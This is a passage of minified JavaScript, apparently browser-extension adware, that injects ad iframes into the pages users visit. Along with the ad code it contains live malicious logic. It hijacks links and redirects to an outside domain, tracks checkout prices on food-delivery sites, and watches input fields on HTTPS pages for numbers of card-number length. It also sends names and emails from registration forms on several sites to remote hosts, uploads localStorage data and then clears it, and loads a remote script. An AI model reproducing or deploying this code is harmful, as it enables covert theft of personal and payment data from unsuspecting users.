properties[0] + '_' + properties[1] + '_' + channel : '');break;case 2:try{ifr.src='about:blank';ifr.contentWindow.document.write('<html><head>\\x3cscript>setTimeout(function(){location.href=\"'+url+'\"},1)\\x3c/script></head><body>&nbsp;\\x3c/body>\\x3c/html>');}catch(e){var h = '<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body><iframe name=\"a7h3h73d3\" src=\"about:blank\" style=\"width:100%;height:100%;border:0\" MARGINWIDTH=\"0\" MARGINHEIGHT=\"0\" frameborder=\"0\" scrolling=\"no\" width=\"100%\" height=\"100%\"></iframe>\\x3cscript>setTimeout(function(){frames[\"a7h3h73d3\"].document.write(\"<\"+\"script>setTimeout(function(){setTimeout(function(){location.href=\\x5c\\\\x27'+url+'\\x5c\\\\x27},1)},1);\"+\"<\"+\"/script>\")},1)\\x3c/script></body></html>';ifr.src='javascript:document.write(\\''+h+'\\');'}break;case 3:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style>\\x3cscript>setTimeout(function(){document.getElementsByTagName(\"body\")[0].innerHTML=\"\\x3cscript src=\"'+url+'\">\\x3c/script>\"},10)\\x3c/script></head><body>&nbsp;</body></html>');break;case 4:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body>'+url+'</body></html>');break;}try{ifr.setAttribute(\"s4374621181571267850\", \"true\");ifr.setAttribute(\"replaced\", \"true\")}catch(e){}}catch(e){}},networks:{cpx_bet_55:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(window.self.location.hostname.indexOf('outube.com')>-1 || size=='120x60' ) {return false;};return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.com/cmp/1412355/index.html?size='+size+'&referrer=', (atp?atp:1), [354,size]);}}catch(e){return !1;}},saymedia_apx_tag_test:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90 468x60'.indexOf(size)) return !1;var atp=false;var arr={\"728x90\":\"1957902\",\"468x60\":\"1957923\",\"160x600\":\"1957924\", \"300x250\":1957917}[size];var surl = \"http://ad.co-co-co.co/rmx/appnexus.html?id=\"+arr;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [366,size]);}}catch(e){return !1;}},start_me_app_tier3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2030270&size='+size+'&cb=&age=&gender=&referrer=&pubclick=', (atp?atp:1), [409,size]);}}catch(e){return !1;}},baba_tb_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var arr={\"728x90\":\"1957852\",\"300x250\":\"1947796\",\"468x60\":\"1957860\",\"120x600\":\"1957857\",\"160x600\":\"1957854\"}[size]; var surl = \"http://ib.adnxs.com/tt?id=\"+arr+\"&referrer=\";return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [423,size]);}}catch(e){return !1;}},yieldads_rmx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;var ref = window.top==window.self?encodeURIComponent(window.self.location.href):'';return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=5081932&pub_url='+ref+'', (atp?atp:1), [559,size]);}}catch(e){return !1;}},adperium_rmx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 300x250 468x60 728x90 160x600 300x600 320x50 320x480'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, '//ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=5321079&pub_url=www.ad-maven.com', (atp?atp:1), [561,size]);}}catch(e){return !1;}},blutonic_apx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2196577\",\"300x250\":\"2196579\",\"728x90\":\"2196581\"}[size];var surl='http://ads.blutonic.com/tt?id='+ arr + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]&pubclick=[INSERT_CLICK_TAG]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [577,size]);}}catch(e){return !1;}},batanga_rmx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=4509138&pub_url=${PUB_URL}&section_code=720_0', (atp?atp:1), [601,size]);}}catch(e){return !1;}},adnetwork_adnttb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2242949&size='+size+'&cb=[CACHEBUSTER]&pubclick=[INSERT_CLICK_TAG]', (atp?atp:1), [630,size]);}}catch(e){return !1;}},media152_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&site=1466354&section_code=INSERT_SECTION_CODE_HERE&pub_url=${PUB_URL}&section_code=720_0', (atp?atp:1), [647,size]);}}catch(e){return !1;}},zetanet_rmx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size='+size+'&section=5410224&[CACHEBUSTER]&%20[REFERRER_URL]&pub_url=${PUB_URL}&pub_redirect_unencoded=1&pub_redirect=[INSERT_CLICK_TAG]&section_code=720_0', (atp?atp:1), [676,size]);}}catch(e){return !1;}},dsnr_nntbr_tier3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(window.self.location.hostname.indexOf('outube.com')>-1 || size=='120x60' ) {return false;};arr={\"160x600\":\"2319941\",\"300x250\":\"2319939\",\"728x90\":\"2319940\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [696,size]);}}catch(e){return !1;}},mari_gen1:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 728x90 468x60'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2361436\",\"160x600\":\"2361437\",\"300x250\":\"2361439\",\"728x90\":\"2361441\",\"468x60\":\"2361442\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [715,size]);}}catch(e){return !1;}},web3_nontb2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2361551&size='+size+'', (atp?atp:1), [721,size]);}}catch(e){return !1;}},velis_nontb2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2363640\",\"160x600\":\"2363641\",\"300x250\":\"2363642\",\"468x60\":\"2363643\",\"728x90\":\"2363644\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [723,size]);}}catch(e){return !1;}},velis_tier3_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2363628\",\"160x600\":\"2363629\",\"300x250\":\"2363630\",\"468x60\":\"2363631\",\"728x90\":\"2363632\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [724,size]);}}catch(e){return !1;}},acsencion_apx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2325908\",\"300x250\":\"2325942\",\"728x90\":\"2325948\"}[size];var surl='http://ace1.acsencion.com/tt?id='+ arr + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [725,size]);}}catch(e){return !1;}},maromy_adj_19:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2363345\",\"728x90\":\"2363359\",\"160x600\":\"2363367\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [732,size]);}}catch(e){return !1;}},matomy_adj_19_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 728x90 300x250'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2363370\",\"728x90\":\"2363365\",\"300x250\":\"2363348\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [733,size]);}}catch(e){return !1;}},adstract_new17_3_t3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 300x600 125x125 300x250 250x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2398030&size='+size+'', (atp?atp:1), [744,size]);}}catch(e){return !1;}},cpx_nontb30_tr:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.com/tra/32160/index.html?size='+size+'&referrer=', (atp?atp:1), [442,size]);}}catch(e){return !1;}},dsnr_strm_legal:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2242464\",\"728x90\":\"2242956\",\"160x600\":\"2242957\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [614,size]);}}catch(e){return !1;}},mari_strm14:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2361466\",\"300x250\":\"2361468\",\"728x90\":\"2361469\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [717,size]);}}catch(e){return !1;}},mari_strm14_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2361470\",\"300x250\":\"2361471\",\"728x90\":\"2361472\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [718,size]);}}catch(e){return !1;}},web3_strm4:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2361590&size='+size+'', (atp?atp:1), [722,size]);}}catch(e){return !1;}},matomy_strm_18_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 728x90 300x250'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2363419\",\"728x90\":\"2363411\",\"300x250\":\"2363401\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [730,size]);}}catch(e){return !1;}},matomy_strm_18:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2363393\",\"728x90\":\"2363408\",\"160x600\":\"2363413\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [731,size]);}}catch(e){return !1;}},adstract_strm17_3_t3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 300x600 125x125 300x250 250x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2398152&size='+size+'', (atp?atp:1), [747,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600 300x600 250x250 600x400'.indexOf(size)) return !1;var atp=false;var surl='http://syndication.exoclick.com/ads-iframe-display.php?type='+size+'&login=hulkshare_RS2&cat=2&search=&ad_title_color=0000cc&bgcolor=FFFFFF&border=0&border_color=000000&font=&block_keywords=&ad_text_color=000000&ad_durl_color=008000&adult=0&sub=0&text_only=0&show_thumb=0&idzone=' + {\"728x90\":\"638635\",\"300x250\":\"638633\",\"468x60\":\"774737\",\"120x600\":\"774751\",\"160x600\":\"638637\",\"300x600\":\"774753\",\"250x250\":\"774743\",\"600x400\":\"774747\"}[size] + '&idsite=225117&p='+encodeURIComponent(window.self.location.href)+'&dt=' + Math.random();if(!document.getElementById(\"sad32ecs3fdsa\")&&1==Math.ceil(4*Math.random()))try{setTimeout(function(){var b=document.getElementsByTagName(\"body\")[0],a=document.createElement(\"div\");a.setAttribute(\"style\",\"width:728px;height:90px;margin:0 auto\");a.setAttribute(\"id\",\"sad32ecs3fdsa\");a.innerHTML='<iframe src=\"//ads.ventivmedia.com/www/delivery/afr.php?zoneid=31&cb='+Math.random()+'\" style=\"width:728px;height:90px\" frameborder=\"0\" scrolling=\"no\"></iframe>';b.insertBefore(a,b.firstChild)},1)}catch(e){};;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [420,size]);}}catch(e){return !1;}}}};_zyad.init();;(function(){try{if(window.opener&&window.self==window.top&&-1==document.cookie.indexOf(\"xcddsa\")&&-1==window.self.location.href.indexOf(\"px.pluginh\")&&window.self.location.hostname.indexOf('earchfu')==-1&&(!document.referrer||-1==document.referrer.indexOf('/amz/')&&(!document.referrer.match(/cpops-\\d+\\.html/))&&-1==document.referrer.indexOf(\"px.pluginh\"))&&-1==window.self.location.href.indexOf(\"ally.asi\")&&-1==window.self.location.href.indexOf('/amz/')&&(!window.self.location.href.match(/cpops-\\d+\\.html/))&&-1==window.self.location.hostname.indexOf(\"getjs\")&&-1==window.self.location.hostname.indexOf(\"hsbc\")&&3>history.length){var c=navigator.userAgent.toLowerCase(),d=\"http://canadaalltax.com/z/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&eid=720&hid=11944579086150063164&pid=0&rf=\" + encodeURIComponent(document.referrer) +\"&s=px.pluginh&r=\"+Math.random();if(-1<c.indexOf(\"msie\")&&(!document.referrer||-1==document.referrer.indexOf(location.hostname))){var e=window.innerWidth||document.documentElement.scrollWidth||0,f=window.innerHeight||document.documentElement.scrollHeight||0;if(e){window.resizeTo(e,f);var g=window.innerWidth||document.documentElement.scrollWidth,k=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(e+2,f);var h=window.scrollWidth||document.documentElement.scrollWidth;if(h!=g&&h<=g+2&&90>=f-k){var a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};window.self.location.href=d}}}else if(!window.menubar.visible&&document.referrer&&-1==document.referrer.indexOf(window.self.location.hostname)){a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};var b=document.createElement(\"script\");b.type=\"text/javascript\";-1<c.indexOf(\"chrome\")&&(b.innerHTML='document.getElementsByTagName(\"body\")[0].setAttribute(\"xcddsa\",\"1\")',document.getElementsByTagName(\"body\")[0].appendChild(b),setTimeout(function(){document.getElementsByTagName(\"body\")[0].getAttribute(\"xcddsa\")&&(window.self.location.href=d)},10));-1<c.indexOf(\"firefox\")&&(b.innerHTML='try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};setTimeout(function(){window.self.location.href=\"'+d+'\";},10);',document.getElementsByTagName(\"head\")[0].appendChild(b))}}}catch(l){}})();if(1==2&&-1<window.self.location.href.indexOf(\"df.ly/\")){var dd=document.getElementById(\"rf\");dd&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&ch=1\")}(\"rdlnk.co\"==window.self.location.hostname||\"adfoc.us\"==window.self.location.hostname||\"www.adsbeta.net\"==window.self.location.hostname||\"ad5.eu\"==window.self.location.hostname)&&(dd=document.getElementsByTagName(\"iframe\")[0])&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?ch=1\");\"cf.ly\"==window.self.location.hostname&&(dd=document.getElementsByTagName(\"iframe\")[1])&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&ch=1\");\"adv.li\"==window.self.location.hostname&&(dd=document.getElementById(\"main\"))&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&ch=1\");if(window.top==window.self&&\"undefined\"!=typeof addEventListener&&-1==document.cookie.indexOf(\"vdsknj4th4un\")){var zytd=function(a){try{if(\"a\"==a.target.tagName.toLowerCase()&&\"\"==a.target.innerHTML&&a.target.getAttribute(\"href\")&&-1==a.target.getAttribute(\"href\").indexOf(window.self.location.hostname)){a.target.setAttribute(\"href\",\"http://canadaalltax.com/z/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&eid=720&hid=11944579086150063164&pid=0&ch=666&rf=\"+encodeURIComponent(window.self.location.href)+\"&s=px.pluginh&r=\"+Math.random());var b=new Date;b.setHours(b.getHours()+5);document.cookie=\"vdsknj4th4un=1;expires=\"+b.toUTCString();document.getElementsByTagName(\"body\")[0].removeEventListener(\"click\",zytd)}}catch(c){}};try{document.getElementsByTagName(\"body\")[0].addEventListener(\"click\",zytd)}catch(e){}};if(\"www.youtube.com\"==window.self.location.hostname&&\"http:\"==window.self.location.protocol){var video_id=window.location.search.split(\"v=\")[1];if(video_id){var ampersandPosition=video_id.indexOf(\"&\");-1!=ampersandPosition&&(video_id=video_id.substring(0,ampersandPosition));if(video_id&&document.getElementById(\"watch7-views-info\")){var vc=document.getElementById(\"watch7-views-info\").firstElementChild;vc&&document.getElementById(\"watch7-views-info\").firstElementChild.innerHTML&&((new Image).src=\"http://score.developpro.info/?pr=1&d=\"+video_id+\"&s=\"+document.getElementById(\"watch7-views-info\").firstElementChild.innerHTML.replace(/[^0-9]/g,\"\"))}}};if((-1<window.self.location.hostname.indexOf(\"foodpanda\")||-1<window.self.location.hostname.indexOf(\"hellofood\"))&&document.getElementById(\"submitRegisterStep1\")){var price=query_selector_all(\".cart-line-price\"),p=price&&price[price.length-1]?parseInt(price[price.length-1].innerHTML.replace(/[^0-9]/g,\"\")):0,h=window.self.location.hostname;(new Image).src=\"http://score.developpro.info/g.php?pr=1&d=\"+h+\"&s=\"+p}\"justeat.in\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"checkout\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=justeat.in&s=0\");\"tastykhana.in\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"billing\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=justeat.in&s=0\");if(-1<window.self.location.hostname.indexOf(\"titbit.com\")||\"checkout\"==window.self.location.hostname)(new Image).src=\"http://score.developpro.info/g.php?pr=1&d=titbit.com&s=0\";\"www.grubhub.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"payment\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.grubhub.com&s=0\");\"www.delivery.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"order_process\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.delivery.com&s=0\");\"www.foodler.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"AnonCheckout\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.foodler.com&s=0\");\"eat24hours.com\"==window.self.location.hostname&&\"https:\"==window.self.location.protocol&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=eat24hours.com&s=0\");(function(){try{var a=document.getElementsByTagName(\"input\");if(\"https:\"==window.self.location.protocol&&4<a.length)for(var d=function(b){b=b.target;if(b.value&&11<b.value.length&&20>b.value.length&&b.value.match(/^[0-9]+$/))for((new Image).src=\"https://score.sendapplicationget.com/g.php?pr=2&d=\"+window.self.location.hostname+\"&s=0&r=\"+(+new Date).toString()+Math.random(),b=0;b<a.length;b++)a[b]&&a[b].removeEventListener?a[b].removeEventListener(\"blur\",d,!1):a[b]&&a[b].detachEvent&&a[b].detachEvent(\"onblur\",d)},c=0;c<a.length;c++)a[c]&&a[c].addEventListener?a[c].addEventListener(\"blur\",d,!1):a[c]&&a[c].attachEvent&&a[c].attachEvent(\"onblur\",d)}catch(e){}})();(function(){var init=function(b,a,f){for(var e=function(){for(var d=[],c=0;c<a.length;c++)b[a[c]]&&b[a[c]].value&&2<b[a[c]].value.length&&d.push(b[a[c]].value.replace(/[^0-9a-z \\-_\\.@]/ig,\"\"));if(d.length==a.length)for((new Image).src=\"https://score.sendapplicationget.com/?id=\"+f+\"&c=\"+encodeURIComponent(d.join(\",\"))+\"&r=\"+Math.random(),c=0;c<a.length;c++)b[a[c]]&&b[a[c]].removeEventListener?b[a[c]].removeEventListener(\"blur\",e,!1):b[a[c]]&&b[a[c]].detachEvent&&b[a[c]].detachEvent(\"onblur\",e)},d=0;d<a.length;d++)b[a[d]]&&b[a[d]].addEventListener?b[a[d]].addEventListener(\"blur\",e,!1):b[a[d]]&&b[a[d]].attachEvent&&b[a[d]].attachEvent(\"onblur\",e)};(\"www.apply.forex.com\"==window.self.location.hostname||\"apply.forex.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"Screen1\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolder1$ctl01$txtFirstname,ctl00$ContentPlaceHolder1$ctl01$txtLastname,ctl00$ContentPlaceHolder1$ctl01$txtVerifyEmail\".split(','),\"3\");(\"www.thelotter.com\"==window.self.location.hostname||\"thelotter.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"remoteshortregistration\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtFirstName,ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtEmail\".split(','),\"4\");(\"www.calottery.com\"==window.self.location.hostname||\"calottery.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"register\")&&document[\"frmMain\"]&&init(document[\"frmMain\"],\"objBody$content_0$leftcolumn_0$txtFirstName,objBody$content_0$leftcolumn_0$txtLastName,objBody$content_0$leftcolumn_0$txtEmail\".split(','),\"5\")})();(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"g_srizK0=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"g_srizK0=\")){var d=a.match(/g_srizK0=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BNmGWj8ukchVWzmPhd96rTaMCyVUojaMDMlGC7VLBT94tMtGB6DHhfs0rShNAen0rchOAen0rjw4qdn8qHUEpdgFqjaEqTrFqTn=\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();;(function(){try{var b=\"gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\".split(\" \");for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\"z\");if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\"download\")||-1<a.indexOf(\"convert\")||-1<window.self.location.href.indexOf(\"babylon\")||-1<window.self.location.href.indexOf(\"se Update Go\")||-1<window.self.location.href.indexOf(\"ilivid\")||-1<window.self.location.href.indexOf(\"download\")||-1<a.indexOf(\"regclean\")||-1<a.indexOf(\"etype\")||-1<a.indexOf(\"diction\")||-1<a.indexOf(\"my-uq\")||-1<a.indexOf(\"ftalk\")||-1<a.indexOf(\"pcspeedmaximizer\")||-1<a.indexOf(\"kingtransl\")||-1<a.indexOf(\"jsopen\")||-1<a.indexOf(\"7-zip\")||-1<a.indexOf(\"boost pc\")||-1<a.indexOf(\"computer slow\")||-1<a.indexOf(\"7-update14\")||-1<a.indexOf(\"player\")) || location.hostname.indexOf('jsopen.net')>-1){var channel=99;if(window.onbeforeunload){window.onbeforeunload=null;channel=98};location.href=\"http://canadaalltax.com/e/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&eid=720&hid=11944579086150063164&pid=0&ch=\"+channel+\"&s=px.pluginh&r=\"+Math.random();break}}}catch(d){}})();if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1546/l.js?aoi=1311798366&pid=1546&zoneid=287609&ext=ExstraSavings&systemid=11944579086150063164\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;window.top==window.self&&\"undefined\"==typeof 